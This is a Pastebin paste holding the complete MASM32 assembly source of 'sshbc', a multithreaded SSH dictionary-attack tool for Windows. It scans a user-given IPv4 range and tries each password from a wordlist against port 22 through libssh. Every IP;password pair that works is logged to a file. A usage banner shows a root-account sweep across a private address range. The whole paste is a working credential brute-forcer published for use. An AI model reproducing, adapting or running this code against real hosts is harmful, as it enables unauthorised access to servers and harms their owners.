Advertisement
Guest User

sshbc

a guest
Jun 18th, 2012
136
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ---------------------------------------------ssh.inc-----------------------------------------------
  2. SSH_OPTIONS_HOST                equ 0
  3. SSH_OPTIONS_FD                  equ 3
  4. SSH_OPTIONS_USER                equ 5
  5.  
  6. .data
  7. sshlib                          db "ssh.dll",0
  8. sshn                            db "ssh_new", 0
  9. ssh_opt_set                     db "ssh_options_set",0
  10. ssh_conn                        db "ssh_connect",0
  11. ssh_authpass                    db "ssh_userauth_password",0
  12. ssh_dis                         db "ssh_disconnect", 0
  13. ssh_f                           db "ssh_free",0
  14.  
  15. .data?
  16. ssh_new                         dd ?
  17. ssh_options_set                 dd ?
  18. ssh_connect                     dd ?
  19. ssh_userauth_password           dd ?
  20. ssh_disconnect                  dd ?
  21. ssh_free                        dd ?
  22. ---------------------------------------------sshbc.Inc-----------------------------------------------
  23. include windows.inc
  24. include kernel32.inc
  25. include user32.inc
  26. include ntdll.inc
  27. include ssh.inc
  28. include ws2_32.inc
  29. include wsock32.inc
  30. include \masm32\macros\macros.asm
  31.  
  32. includelib ws2_32.lib
  33. includelib kernel32.lib
  34. includelib user32.lib
  35. includelib ntdll.lib
  36. includelib masm32.lib
  37. includelib .\ssh\ssh.lib
  38.  
  39. load_ssh        PROTO
  40. ssh_check       PROTO:DWORD, :DWORD, :DWORD
  41. read_string     PROTO:DWORD, :DWORD, :DWORD, :DWORD
  42. get_ip          PROTO:DWORD, :DWORD
  43. res_write       PROTO:DWORD, :DWORD, :DWORD
  44. new_thread      PROTO:DWORD
  45. cmdlin_parse    PROTO:DWORD
  46. create_hex      PROTO:DWORD
  47. copy_cmd_str    PROTO:DWORD, :DWORD
  48.  
  49. ;const
  50. WS_VER      equ 202h
  51. SSH_PORT    equ 22
  52.  
  53. .data
  54. wsaErr      db  "WSAStartup error!",0dh,0ah
  55. sockErr     db  "Socket open error!",0dh,0ah
  56. sshErr      db  "Failure establishing SSH session!",0dh,0ah
  57. usage       db  "Created by Bearchik(http://crazyasm.blogspot.com)",0dh,0ah
  58.             db  "USAGE:",0dh,0ah
  59.             db  " -t  threads counter",0dh,0ah
  60.             db  " -s  start IP",0dh,0ah
  61.             db  " -e  end IP",0dh,0ah
  62.             db  " -u  username",0dh,0ah
  63.             db  " -d  dictionary filename",0dh,0ah
  64.             db  " -o  output filename",0dh,0ah
  65.             db  "EXAMPLE:",0dh,0ah
  66.             db  "sshbc.exe -t10 -s192.168.1.0 -e192.168.255.0 -uroot -dfiledict.txt -ofile_out.txt",0dh,0ah,0h
  67. finishmsg   db  "Work is FINISHED!",0dh,0ah
  68.  
  69.  
  70.  
  71. .data?
  72. ooutfile    db  512 dup (?)
  73. fdict       db  512 dup (?)
  74. username    db  256 dup (?)
  75. startIP     db  16 dup (?)
  76. endIP       db  16 dup (?)
  77. stdhndl     dd  ?
  78. siptmp      dd  ?
  79. sip         dd  ?
  80. eip         dd  ?
  81. pThread     dd  ?
  82. tflag       dd  ?
  83. cThread     dd  ?
  84. cmdflag     dd  ?
  85.  
  86. ---------------------------------------------sshbc.asm-----------------------------------------------
  87. .386
  88. .model flat, stdcall  ;32 bit memory model
  89. option casemap :none  ;case sensitive
  90.  
  91. include sshbc.Inc
  92.  
  93. .code
  94. start:
  95.     invoke  GetStdHandle,STD_OUTPUT_HANDLE
  96.     mov     stdhndl, eax
  97.    
  98.     invoke  load_ssh
  99.     invoke  GetCommandLine
  100.     invoke  cmdlin_parse, eax
  101.     .if     cmdflag != 6
  102.         invoke  WriteConsole, stdhndl, offset usage, 109h, NULL, NULL
  103.         jmp exitprog
  104.     .endif
  105.    
  106.     mov     ecx, cThread
  107. create_thread:
  108.     invoke  inet_addr, offset startIP
  109.     mov     sip, eax
  110.     invoke  inet_addr, offset endIP
  111.     mov     eip, eax
  112.     invoke  get_ip, sip, eip
  113.     .if eax == 0
  114.         jmp     finspinlock
  115.     .endif
  116.    
  117.    
  118. ;   invoke  new_thread, siptmp
  119.    
  120.     mov     eax, offset new_thread
  121.     invoke  CreateThread, NULL, 10240, eax , siptmp, 0, pThread
  122.     inc     tflag
  123.     mov     eax, tflag
  124.     .if eax >= cThread
  125.         jmp spinlock
  126.     .endif
  127.     jmp     create_thread
  128.  
  129. spinlock:
  130.     invoke SleepEx,1,0
  131.     mov     eax, tflag
  132.     .if eax < cThread
  133.         jmp     create_thread
  134.     .endif
  135.     jmp     spinlock
  136.    
  137. finspinlock:
  138.     invoke SleepEx,1,0
  139.     cmp tflag, 0
  140.     jne spinlock
  141.    
  142.     invoke  WriteConsole, stdhndl, offset finishmsg, sizeof finishmsg, NULL, NULL
  143.    
  144. exitprog:
  145.     invoke  CloseHandle, eax
  146.     invoke  ExitProcess, 0
  147.    
  148. cmdlin_parse proc cmd:DWORD
  149.     mov     edi, cmd
  150. nextkey:
  151.     .if WORD PTR [edi] == 742dh ;-t
  152.         invoke  create_hex, edi
  153.         mov     cThread, eax
  154.         inc     cmdflag
  155.     .endif
  156.    
  157.     .if WORD PTR [edi] == 732dh ;-s
  158.         invoke  copy_cmd_str, edi, offset startIP
  159.         inc     cmdflag
  160.     .endif
  161.    
  162.     .if WORD PTR [edi] == 652dh ;-e
  163.         invoke  copy_cmd_str, edi, offset endIP
  164.         inc     cmdflag
  165.     .endif
  166.    
  167.     .if WORD PTR [edi] == 752dh ;-u
  168.         invoke  copy_cmd_str, edi, offset username
  169.         inc     cmdflag
  170.     .endif
  171.    
  172.     .if WORD PTR [edi] == 642dh ;-d
  173.         invoke  copy_cmd_str, edi, offset fdict
  174.         inc     cmdflag
  175.     .endif
  176.    
  177.     .if WORD PTR [edi] == 6f2dh ;-o
  178.         invoke  copy_cmd_str, edi, offset ooutfile
  179.         inc     cmdflag
  180.     .endif
  181.    
  182.     .if BYTE PTR [edi] == 0
  183.         jmp     parsend
  184.     .endif
  185.     inc     edi
  186.     jmp     nextkey
  187.  
  188. parsend:
  189.     ret
  190. cmdlin_parse endp
  191.  
  192. copy_cmd_str proc uses edi strnum:DWORD, outstr:DWORD
  193.     mov     esi, strnum
  194.     add     esi, 2
  195.     xor     ebx,ebx
  196.     mov     edi, outstr
  197. nextchar:
  198.     mov     al, BYTE PTR [esi+ebx]
  199.     mov     BYTE PTR [edi+ebx], al
  200.     inc     ebx
  201.     .if BYTE PTR [esi+ebx] == 20h || BYTE PTR [esi+ebx] == 0h
  202.         jmp     endchar
  203.     .endif
  204.     jmp     nextchar
  205. endchar:
  206.     mov     BYTE PTR [edi+ebx], 0h
  207.     ret
  208. copy_cmd_str endp
  209.  
  210. create_hex  proc stnum:DWORD
  211. LOCAL   koef:DWORD
  212. LOCAL   sum:DWORD
  213.     mov     sum,0h
  214.     mov     koef, 1h
  215.     mov     ebx, stnum
  216.     add     ebx, 2h
  217. nextcif:
  218.     .if BYTE PTR [ebx] == 20h || BYTE PTR [ebx] == 0h
  219.         jmp     endcif
  220.     .endif
  221.     inc     ebx
  222.     jmp     nextcif
  223. endcif:
  224.     xor     eax, eax
  225.     mov     al, BYTE PTR [ebx-1]
  226.     sub     eax, 30h
  227.     mov     ecx, koef
  228.     mul     ecx
  229.     add     sum, eax
  230.     mov     eax, ecx
  231.     mov     ecx, 0Ah
  232.     mul     ecx
  233.     mov     koef, eax
  234.     dec     ebx
  235.     .if BYTE PTR [ebx-1] == 74h
  236.         jmp     calcd
  237.     .endif
  238.     jmp     endcif
  239.  
  240. calcd:
  241.     mov     eax, sum
  242.     ret
  243. create_hex endp
  244.  
  245. new_thread  proc pip:DWORD
  246. LOCAL   sfile:DWORD
  247. LOCAL   dist:DWORD
  248. LOCAL   fHandle:DWORD
  249. LOCAL   password[128]:BYTE
  250. LOCAL   ipaddr[16]:BYTE
  251.     invoke  RtlIpv4AddressToString, ADDR pip, ADDR ipaddr
  252.     xor     eax, eax
  253.     mov     dist, eax
  254.     invoke  CreateFile, offset fdict,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL
  255.     mov     fHandle, eax
  256.     invoke  GetFileSize,fHandle,NULL
  257.     mov     sfile, eax
  258. nextpass:
  259.     mov     eax, sfile
  260.     .if eax < dist
  261.         jmp threadend
  262.     .endif
  263.     invoke  read_string, ADDR password, dist, fHandle, sfile
  264.     mov     dist, eax
  265.    
  266.     invoke  ssh_check, pip, offset username, ADDR password
  267.     .if al == 1
  268.         jmp nextpass
  269.     .endif
  270.     .if al == 0
  271.         invoke  res_write, offset ooutfile, pip, ADDR password
  272.     .endif
  273. threadend:
  274.     invoke  CloseHandle,fHandle
  275.     dec     tflag
  276.     invoke  WriteConsole, stdhndl, ADDR ipaddr, 16, NULL, NULL
  277.     ret
  278. new_thread endp
  279.  
  280. res_write proc outfile:DWORD, pip:DWORD, password:DWORD
  281. LOCAL   cWrite:DWORD
  282. LOCAL   nByte:DWORD
  283. LOCAL   fouthandle:DWORD
  284. LOCAL   ipaddr[16]:BYTE
  285. LOCAL   outString[128]:BYTE
  286.  
  287.     invoke  RtlIpv4AddressToString, ADDR pip, ADDR ipaddr
  288.     lea     edx, ipaddr
  289.     lea     edi, outString
  290.     xor     eax, eax
  291. nextsimip:
  292.     mov     bl, BYTE PTR [edx+eax]
  293.     .if BYTE PTR [edx+eax] == 0
  294.         jmp     endcopyip
  295.     .endif
  296.     mov     BYTE PTR [edi+eax], bl
  297.     inc     eax
  298.     jmp     nextsimip
  299. endcopyip:
  300.     add     edi, eax
  301.     mov     BYTE PTR [edi], 3bh
  302.     inc     edi
  303.    
  304.     xor     eax, eax
  305.     mov     edx, password
  306. nextsimpass:
  307.     mov     bl, BYTE PTR [edx+eax]
  308.     .if BYTE PTR [edx+eax] == 0
  309.         jmp     endcopypass
  310.     .endif
  311.     mov     BYTE PTR [edi+eax], bl
  312.     inc     eax
  313.     jmp     nextsimpass
  314. endcopypass:
  315.     add     edi, eax
  316.     mov     BYTE PTR [edi], 0dh
  317.     mov     BYTE PTR [edi+1], 0ah
  318.     mov     BYTE PTR [edi+2], 0h
  319.    
  320.     invoke  CreateFile, outfile, GENERIC_WRITE,FILE_SHARE_WRITE, NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0
  321.     mov     fouthandle, eax
  322. ;   invoke  SetFilePointer,fouthandle, 0, NULL, FILE_BEGIN
  323.     invoke  SetFilePointer, fouthandle, NULL,NULL, FILE_END  
  324.     invoke  lstrlen, ADDR outString
  325.     mov     nByte, eax
  326.     invoke  WriteFile, fouthandle, ADDR outString, nByte, ADDR cWrite, NULL
  327.     invoke  CloseHandle, fouthandle
  328.     ret
  329. res_write endp
  330.  
  331. get_ip proc sIP:DWORD, eIP:DWORD
  332.     .if siptmp == 0
  333.         mov     eax, sIP
  334.         mov     siptmp, eax
  335.         jmp     endIPSearch
  336.     .endif
  337.     mov     eax, siptmp
  338.     .if eIP == eax
  339.         xor     eax, eax
  340.         jmp     endIPSearch
  341.     .endif
  342.     inc     BYTE PTR [siptmp+3]
  343.     jnz     outIP
  344.     inc     BYTE PTR [siptmp+2]
  345.     jnz     outIP
  346.     inc     BYTE PTR [siptmp+1]
  347.     jnz     outIP
  348.     inc     BYTE PTR [siptmp]
  349. outIP:
  350.     mov     eax, siptmp
  351. endIPSearch:
  352.     ret
  353. get_ip endp
  354.  
  355. read_string proc pass:DWORD, d:DWORD, fHandle:DWORD, sfile:DWORD
  356. LOCAL   buf:DWORD
  357. LOCAL   cRead:DWORD
  358.     mov     edi, pass
  359. nextchr:
  360.     invoke  SetFilePointer, fHandle, d, NULL, FILE_BEGIN
  361.     invoke  ReadFile, fHandle, ADDR buf, 1, ADDR cRead, NULL
  362.     .if BYTE PTR [buf] == 0Dh
  363.         mov     BYTE PTR [edi],0h
  364.         jmp stringend
  365.     .endif
  366.     mov     al, BYTE PTR [buf]
  367.     mov     BYTE PTR [edi], al
  368.     inc     d
  369.     mov     eax, sfile
  370.     .if eax < d
  371.         jmp     stringend
  372.     .endif
  373.     inc     edi
  374.     jmp     nextchr
  375.    
  376. stringend:
  377.    
  378.     mov     eax, d
  379.     add     eax, 2h
  380.     ret
  381. read_string endp
  382.    
  383. ssh_check proc ip:DWORD, uname:DWORD, pass:DWORD
  384. LOCAL   sess:DWORD
  385. LOCAL   sock:DWORD
  386. LOCAL   saddr:sockaddr_in
  387. LOCAL   ws:WSADATA
  388. LOCAL   ipaddr[16]:BYTE
  389.     invoke  WSAStartup, WS_VER, ADDR ws
  390.     .if eax != 0
  391.         invoke  WriteConsole, stdhndl, offset wsaErr, sizeof wsaErr, NULL, NULL
  392.         jmp     emergExit
  393.     .endif
  394.     invoke  socket, AF_INET, SOCK_STREAM, IPPROTO_TCP
  395.     .if eax == -1
  396.         invoke  WriteConsole, stdhndl, offset sockErr, sizeof sockErr, NULL, NULL
  397.         invoke WSACleanup
  398.         jmp     emergExit
  399.     .endif
  400.     mov     sock, eax
  401.    
  402.     invoke  htons, SSH_PORT
  403.     mov     saddr.sin_port,ax
  404.     mov     eax, ip
  405.     mov     saddr.sin_addr,eax
  406.     mov     saddr.sin_family,AF_INET
  407.     invoke  connect,sock,addr saddr,sizeof saddr
  408.     .if eax == -1
  409.         push    -1
  410.         jmp     closeSock
  411.     .endif
  412.    
  413.    
  414.     call    ssh_new
  415.     mov     sess, eax
  416.     invoke  RtlIpv4AddressToString, ADDR ip, ADDR ipaddr
  417.     lea     eax, ipaddr
  418.     push    eax
  419.     push    0
  420.     push    sess
  421.     call     ssh_options_set
  422.     .if eax != 0
  423.         invoke  WriteConsole, stdhndl, offset sshErr, sizeof sshErr, NULL, NULL
  424.         jmp closeSock
  425.     .endif
  426.    
  427.    
  428.     push    sess
  429.     call    ssh_connect
  430.    
  431.     push    pass
  432.     push    uname
  433.     push    sess
  434.     call    ssh_userauth_password
  435.    
  436.     .if eax == 0
  437.         push    0
  438.         jmp     closessh
  439.     .endif
  440.  
  441.     .if eax == 1
  442.         push     1
  443.         jmp     closessh
  444.     .endif
  445.     push     0
  446.  
  447. closessh:
  448.     push    sess
  449.     call    ssh_disconnect
  450.     pop     eax
  451.     push    sess
  452.     call    ssh_free
  453.     pop     eax
  454.  
  455. closeSock:
  456.     invoke  closesocket,sock
  457.     invoke  WSACleanup
  458.    
  459. emergExit:
  460.     pop     eax
  461. ;   mov     eax, DWORD PTR [esp+4]
  462.     ret
  463. ssh_check endp
  464.    
  465. load_ssh proc
  466. LOCAL   a_lib:DWORD
  467.     invoke  LoadLibrary, offset sshlib
  468.     mov     a_lib, eax
  469.     invoke  GetProcAddress, a_lib, offset sshn
  470.     mov     ssh_new, eax
  471.     invoke  GetProcAddress, a_lib, offset ssh_opt_set
  472.     mov     ssh_options_set, eax   
  473.     invoke  GetProcAddress, a_lib, offset ssh_conn
  474.     mov     ssh_connect, eax
  475.     invoke  GetProcAddress, a_lib, offset ssh_authpass
  476.     mov     ssh_userauth_password, eax
  477.     invoke  GetProcAddress, a_lib, offset ssh_dis
  478.     mov     ssh_disconnect, eax
  479.     invoke  GetProcAddress, a_lib, offset ssh_f
  480.     mov     ssh_free, eax
  481.    
  482.     ret
  483. load_ssh endp
  484.    
  485. end start
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement